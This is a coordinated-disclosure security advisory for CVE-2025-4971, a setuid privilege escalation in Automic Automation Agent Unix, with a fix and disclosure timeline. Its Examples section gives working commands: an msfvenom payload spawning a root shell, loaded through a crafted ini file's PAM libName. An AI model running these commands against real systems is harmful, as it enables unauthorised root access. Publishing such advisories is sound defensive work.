secuvera-SA-2025-01: Privilege Escalation

Affected Products
   Automic Automation Agent Unix <24.3.0 HF4, <21.0.13 HF1

References
   secuvera-SA-2025-01
   CVE-2025-4971
   CWE-426: Untrusted Search Path
   CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Summary:
   An agent configured to run in privileged mode using the SetUID-Bit can be used to escalate privileges, by supplying an ini file with the "authentication" option set to "PAM" and the "libName" option set to a shared object file controlled by the attacker.
   The shared object will be loaded in an elevated context and can be used to execute arbitrary code as root.

Effect:
   The vulnerability results in privilege escalation, caused by arbitrary code execution in the context of the vulnerable application.

Examples:
   1. Generate shared object file using msfvenom
   $ msfvenom -p linux/x64/exec PrependSetuid=True PrependSetguid=True CMD="/bin/sh" -f elf-so > /tmp/sh.so

   2. Run the ucxjlx6 executable as follows
   $ ./ucxjlx6 ini=<(echo -e "[GLOBAL]\nhelplib = /dev/null\nsystem = blep\n[MISC]\nauthentication = PAM\n[PAM]\nlibName = /tmp/sh.so\n[VARIABLES]\nUC_EX_JOB_MD=blep")


Solution:
   Update to version 24.3.0 HF4, 21.0.13 HF1 or higher
   
Disclosure Timeline:
   2025/01/20 vulnerability discovered
   2025/01/21 vendor contacted
   2025/01/21 vendor acknowledged receipt
   2025/02/04 requested status update
   2025/02/04 provided clarification about the issue
   2025/02/11 requested status update
   2025/02/26 vendor confirmed vulnerability
   2025/03/06 requested status update
   2025/03/17 vendor provided fix and requested review
   2025/04/03 vendor retracted request for review
   2025/04/10 proposed date for public disclosure, vendor requested delay
   2025/04/16 coordinated on cvss score and recommended fix
   2025/04/28 requested status update
   2025/05/02 vendor supplied tentative date for public disclosure
   2025/05/08 requested status update
   2025/05/12 public disclosure
   
Credits:
Flora Schaefer
fschaefer@secuvera.de
secuvera GmbH
https://www.secuvera.de

Disclaimer:
    All information is provided without warranty. The intent is to
    provide information to secure infrastructure and/or systems, not
    to be able to attack or damage. Therefore secuvera shall
    not be liable for any direct or indirect damages that might be
    caused by using this information.